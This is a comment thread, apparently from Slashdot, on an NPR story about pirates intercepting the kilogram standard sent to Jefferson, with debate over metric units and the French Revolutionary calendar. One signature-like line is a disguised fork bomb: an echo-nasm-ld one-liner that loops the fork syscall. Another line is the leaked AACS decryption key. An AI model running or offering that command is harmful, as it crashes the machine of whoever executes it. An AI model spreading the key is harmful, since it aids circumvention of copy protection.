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How Pirates Of The Caribbean Hijacked America's Metric System (npr.org)
If the United States were more like the rest of the world, a McDonald's Quarter Pounder might be known as the McDonald's 113-Grammer, John Henry's 9-pound hammer would be 4.08 kilograms, and any 800-pound gorillas in the room would likely weigh 362 kilos. NPR explores: One reason this country never adopted the metric system might be pirates. Here's what happened: In 1793, the brand new United States of America needed a standard measuring system because the states were using a hodgepodge of systems. "For example, in New York, they were using Dutch systems, and in New England, they were using English systems," says Keith Martin, of the research library at the National Institute of Standards and Technology. This made interstate commerce difficult. The secretary of state at the time was Thomas Jefferson. Jefferson knew about a new French system and thought it was just what America needed. He wrote to his pals in France, and the French sent a scientist named Joseph Dombey off to Jefferson carrying a small copper cylinder with a little handle on top. It was about 3 inches tall and about the same wide. This object was intended to be a standard for weighing things, part of a weights and measure system being developed in France, now known as the metric system. The object's weight was 1 kilogram. Crossing the Atlantic, Dombey ran into a giant storm. "It blew his ship quite far south into the Caribbean Sea," says Martin. And you know who was lurking in Caribbean waters in the late 1700s? Pirates.
Well look on the bright side. A government powerful enough to force people to use metric is powerful enough to do a lot of really awful stuff
https://en.wikipedia.org/wiki/...
The French Republican Calendar (French: calendrier républicain franÃais), also commonly called the French Revolutionary Calendar (calendrier révolutionnaire franÃais), was a calendar created and implemented during the French Revolution, and used by the French government for about 12 years from late 1793 to 1805
What was going on during those 12 years? Well they started very badly indeed
https://en.wikipedia.org/wiki/...
And only ended when Napoleon made himself First Consul
https://en.wikipedia.org/wiki/...
Be happy you're still free to use non metric measurements. It's a sign that the US war of independence didn't end up like the French revolution.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The US doesn't use the imperial system. It uses the English system. The Imperial system wasn't created until 1824, after the US split from England. They never made the change. Though the names are the same, some of the units of measure are different.
It is dead in that the centimetre is a deprecated unit in the SI system, which is what you should be adopting. The SI base length is a metre, and units derived from the base should be multiples of, or divisions by, 1000. Hence the next unit smaller than a meter should be a millimetre, and the next unit larger should be the kilometre. I work in an engineering design office and we never use centimeters, which is a unit for dressmakers if for anything.
Nonsense. There's nothing in SI that says prefixes like centi or deci should not be used; if they are a good match for what you're measuring, by all means use them.
I'll consider metrics when the clock, day, and calendar are also 'neatly' divided by 10.
The first iteration of metric, right after the French revolution, included a ten-hour day of hundred-minute hours, with hundred-second minutes. The months were renamed from the antique Romanesque hodgepodge to be more logique: March became Germinal, the month when things grew, October became Brumaire, the foggy month, and November became Nivôse, the snowy month.
But people wanted quarter-hours and all the other integer divisible units they were used to, and the month-renamers were reminded that, malheureusement, the new month names only made sense in Paris. In places like Martinique and Réunion, the new names made no sense.
https://en.wikipedia.org/wiki/...
Reagan was dead set on killing many of Carter's goals (energy conservation, the metric system) much like Trump is dead set against anything that Obama ever did.
09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
Oh, while I think of it, there's an old joke, one form of which goes "Which weighs more, a pound of gold or a pound of feathers?"
The feathers weigh more than the gold.
sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
Customary units are far more convenient for the tasks they're optimized for. But it's the modern need to do more complex calculations relating things across problem domains that makes them awkward.
Which is why, in the US, scientists use metric and everyone else, for normal everyday life, continues to use the convenient units they always have.